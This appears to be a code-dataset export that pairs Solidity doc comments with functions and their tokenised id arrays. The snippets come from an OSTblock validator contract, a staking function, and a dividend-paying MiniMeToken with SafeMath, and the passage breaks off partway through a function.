_ostBlockGate; addValidators(_auxiliaryAddresses, _stakes); } /* External Functions */ /** * @notice Updates the OSTblock height by one and adds the new validators * that should join at this height. * Provide two arrays with the validators' addresses on auxiliary * and their respective stakes at the same index. If an auxiliary * address and a stake have the same index in the provided arrays, * they are regarded as belonging to the same validator. * * @param _auxiliaryAddresses The addresses of the new validators on the * auxiliary chain. * @param _stakes The stakes of the validators on origin. * * @return `true` if the update was successful. Reverts otherwise. */ function updateOstBlockHeight( address[] _auxiliaryAddresses, uint256[] _stakes ) external returns (bool success_) { require( msg.sender == ostBlockGate, "OSTblock updates must be done by the registered OSTblock gate." ); currentOstBlockHeight++; /* * Before adding the new validators, copy the total stakes from the * previous height. The new validators' stakes for this height will be * added on top. */ totalStakes[currentOstBlockHeight] = totalStakes[currentOstBlockHeight - 1]; addValidators(_auxiliaryAddresses, _stakes); success_ = true; } /* Private Functions */ /** * @notice Add validators to the set of validators. Starting from the * current OSTblock height. * * @param _auxiliaryAddresses The addresses of the new validators on the * auxiliary chain. * @param _stakes The stakes of the validators on origin. */ function addValidators( address[] _auxiliaryAddresses, uint256[] _stakes ) private { require( _auxiliaryAddresses.length == _stakes.length, "The lengths of the addresses and stakes arrays must be identical." ); for (uint256 i; i < _auxiliaryAddresses.length; i++) { address auxiliaryAddress = _auxiliaryAddresses[i]; uint256 stake = _stakes[i]; require( stake > 0, "The stake must be greater zero for all validators." ); require( auxiliaryAddress != address(0), "The auxiliary address of a validator must not be zero." ); require( !validatorExists(auxiliaryAddress), "There must not be duplicate addresses in the set of validators." ); validators[auxiliaryAddress] = Validator( auxiliaryAddress, stake, false, currentOstBlockHeight, 0 ); totalStakes[currentOstBlockHeight] += stake; } } /** * @notice Returns true if the validator is already stored. * * @param _auxiliaryAddress The address of the validator on the auxiliary * system. * * @return `true` if the address has already been registered. */ function validatorExists( address _auxiliaryAddress ) private view returns (bool) { return validators[_auxiliaryAddress].auxiliaryAddress != address(0); } }
* @notice Add validators to the set of validators. Starting from the current OSTblock height. @param _auxiliaryAddresses The addresses of the new validators on the auxiliary chain. @param _stakes The stakes of the validators on origin./
function addValidators( address[] _auxiliaryAddresses, uint256[] _stakes ) private { require( _auxiliaryAddresses.length == _stakes.length, "The lengths of the addresses and stakes arrays must be identical." ); for (uint256 i; i < _auxiliaryAddresses.length; i++) { address auxiliaryAddress = _auxiliaryAddresses[i]; uint256 stake = _stakes[i]; require( stake > 0, "The stake must be greater zero for all validators." ); require( auxiliaryAddress != address(0), "The auxiliary address of a validator must not be zero." ); require( !validatorExists(auxiliaryAddress), "There must not be duplicate addresses in the set of validators." ); validators[auxiliaryAddress] = Validator( auxiliaryAddress, stake, false, currentOstBlockHeight, 0 ); totalStakes[currentOstBlockHeight] += stake; } }
13,072,121
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 1436, 11632, 358, 326, 444, 434, 11632, 18, 24591, 628, 326, 540, 783, 531, 882, 2629, 2072, 18, 632, 891, 389, 18196, 20606, 7148, 1021, 6138, 434, 326, 394, 11632, 603, 326, 18701, 9397, 20606, 2687, 18, 632, 891, 389, 334, 3223, 1021, 384, 3223, 434, 326, 11632, 603, 4026, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 19420, 12, 203, 3639, 1758, 8526, 389, 18196, 20606, 7148, 16, 203, 3639, 2254, 5034, 8526, 389, 334, 3223, 203, 565, 262, 203, 3639, 3238, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 389, 18196, 20606, 7148, 18, 2469, 422, 389, 334, 3223, 18, 2469, 16, 203, 5411, 315, 1986, 10917, 434, 326, 6138, 471, 384, 3223, 5352, 1297, 506, 12529, 1199, 203, 3639, 11272, 203, 203, 3639, 364, 261, 11890, 5034, 277, 31, 277, 411, 389, 18196, 20606, 7148, 18, 2469, 31, 277, 27245, 288, 203, 5411, 1758, 9397, 20606, 1887, 273, 389, 18196, 20606, 7148, 63, 77, 15533, 203, 5411, 2254, 5034, 384, 911, 273, 389, 334, 3223, 63, 77, 15533, 203, 203, 5411, 2583, 12, 203, 7734, 384, 911, 405, 374, 16, 203, 7734, 315, 1986, 384, 911, 1297, 506, 6802, 3634, 364, 777, 11632, 1199, 203, 5411, 11272, 203, 203, 5411, 2583, 12, 203, 7734, 9397, 20606, 1887, 480, 1758, 12, 20, 3631, 203, 7734, 315, 1986, 9397, 20606, 1758, 434, 279, 4213, 1297, 486, 506, 3634, 1199, 203, 5411, 11272, 203, 203, 5411, 2583, 12, 203, 7734, 401, 7357, 4002, 12, 18196, 20606, 1887, 3631, 203, 7734, 315, 9828, 1297, 486, 506, 6751, 6138, 316, 326, 444, 434, 11632, 1199, 203, 5411, 11272, 203, 203, 5411, 11632, 63, 18196, 20606, 1887, 65, 273, 9150, 12, 203, 7734, 9397, 20606, 1887, 16, 203, 7734, 384, 911, 16, 203, 7734, 629, 16, 203, 7734, 783, 51, 334, 1768, 2686, 16, 203, 7734, 374, 203, 5411, 11272, 203, 203, 5411, 2078, 510, 3223, 63, 2972, 51, 334, 1768, 2686, 65, 1011, 384, 911, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0xacfD1f6002938B156Aa186827985742Da4FA0ca2/sources/Rookie_v6.sol
* Requirements: - `amount` Amount to be staked/require(isLive, "Staking period has ended");
function stake(uint256 amount) public returns (bool) { require(amount > 0, "Can't stake 0 amount"); address from = msg.sender; if (amount >= eligibilityAmount) { eligible[from] = true; } require(hasStaked[from] == false, "Already staked"); return _stake(from, amount); }
8,517,763
[ 1, 4625, 348, 7953, 560, 30, 380, 29076, 30, 300, 1375, 8949, 68, 16811, 358, 506, 384, 9477, 19, 6528, 12, 291, 12328, 16, 315, 510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583, 12, 8949, 405, 374, 16, 315, 2568, 1404, 384, 911, 374, 3844, 8863, 203, 3639, 1758, 628, 273, 1234, 18, 15330, 31, 203, 3639, 309, 261, 8949, 1545, 415, 360, 3628, 6275, 13, 288, 203, 5411, 21351, 63, 2080, 65, 273, 638, 31, 203, 3639, 289, 203, 3639, 2583, 12, 5332, 510, 9477, 63, 2080, 65, 422, 629, 16, 315, 9430, 384, 9477, 8863, 203, 3639, 327, 389, 334, 911, 12, 2080, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol // @title SafeMath: overflow/underflow checks // @notice Math operations with safety checks that throw on error library SafeMath { // @notice Multiplies two numbers, throws on overflow. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } // @notice Integer division of two numbers, truncating the quotient. function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } // @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } // @notice Adds two numbers, throws on overflow. function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // @notice Returns fractional amount function getFractionalAmount(uint256 _amount, uint256 _percentage) internal pure returns (uint256) { return div(mul(_amount, _percentage), 100); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface ERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /// @dev The token controller contract must implement these functions interface ITokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) external payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) external returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) external returns(bool); } /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MiniMeToken Contract /// @author Jordi Baylina (with modifications by Peter Phillips) /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; constructor() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController public { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 _amount, address _token, bytes _data ) public; } /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a "Campaign" contract MiniMeToken is Controlled { using SafeMath for uint; string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "MMT_0.1"; //An arbitrary versioning scheme ERC20 public erc20; //The token that is distributed by this contract (0x0 if Ether) // @notice Token Income Information uint constant scalingFactor = 1e32;//Value to scale numbers to avoid rounding issues uint public valuePerToken; //The current value each token has received in funding uint public assetIncome; //The amount of income this contract has received uint public assetIncomeIssued; //The amount of income that has been withdrawn mapping (address => uint) public incomeOwed; //The income owed for each address mapping (address => uint) public previousValuePerToken;//The value of each token last time the address has withdrawn /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred constructor( MiniMeTokenFactory _tokenFactory, MiniMeToken _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled, address _erc20Address ) public { tokenFactory = _tokenFactory; name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = _parentToken; parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; if(_erc20Address != address(0)){ erc20 = ERC20(_erc20Address); //Set the address of the ERC20 token that will be issued as dividends } } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public updateIncomeClaimed(msg.sender) updateIncomeClaimed(_to) returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount) public updateIncomeClaimed(_from) updateIncomeClaimed(_to) returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false uint256 previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // Alerts the token controller of the transfer if (isContract(controller)) { // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).onTransfer(_from, _to, _amount) == true); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint256 previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo.add(_amount) >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo.add(_amount)); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).onApprove(msg.sender, _spender, _amount) == true); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes _extraData) public updateIncomeClaimed(msg.sender) updateIncomeClaimed(_spender) returns (bool success) { require(approve(_spender, _amount)); _spender.receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Distribution methods //////////////// // @notice token holders can withdraw income here function withdraw() external updateIncomeClaimed(msg.sender) returns (bool) { uint amount = incomeOwed[msg.sender].div(scalingFactor); delete incomeOwed[msg.sender]; assetIncomeIssued = assetIncomeIssued.add(amount); if(address(erc20) == address(0)){ msg.sender.transfer(amount); } else { require(erc20.transfer(msg.sender, amount)); } emit LogIncomeCollected(msg.sender, amount); return true; } // @notice assets can send their income here to be collected by investors function issueDividends(uint256 _amount) payable external returns (bool) { require(_amount > 0, "Cannot send zero"); if(address(erc20) == address(0)){ require(msg.value == _amount); } else { require(msg.value == 0); require(erc20.transferFrom(msg.sender, address(this), _amount), "Transfer failed"); } assetIncome = assetIncome.add(_amount); valuePerToken = valuePerToken.add(_amount.mul(scalingFactor).div(totalSupply())); emit LogIncomeReceived(msg.sender, _amount); return true; } //In case a investor transferred a token directly to this contract //anyone can run this function to clean up the balances //and distribute the difference to token holders function checkForTransfers() external { uint bookBalance = assetIncome.sub(assetIncomeIssued); uint actualBalance; if(address(erc20) == address(0)){ actualBalance = address(this).balance; } else { actualBalance = erc20.balanceOf(this); } uint diffBalance = actualBalance.sub(bookBalance); if(diffBalance > 0){ //Update value per token valuePerToken = valuePerToken.add(diffBalance.mul(scalingFactor).div(totalSupply())); assetIncome = assetIncome.add(diffBalance); } emit LogCheckBalance(diffBalance); } // ------------------------------------------------------------------------ // View functions // ------------------------------------------------------------------------ // @notice Calculates how much more income is owed to investor since last calculation function collectLatestPayments(address _investor) private view returns (uint) { uint valuePerTokenDifference = valuePerToken.sub(previousValuePerToken[_investor]); return valuePerTokenDifference.mul(balanceOf(_investor)); } // @notice Calculates how much wei investor is owed. (points + incomeOwed) / 10**32 function getAmountOwed(address _investor) public view returns (uint) { return 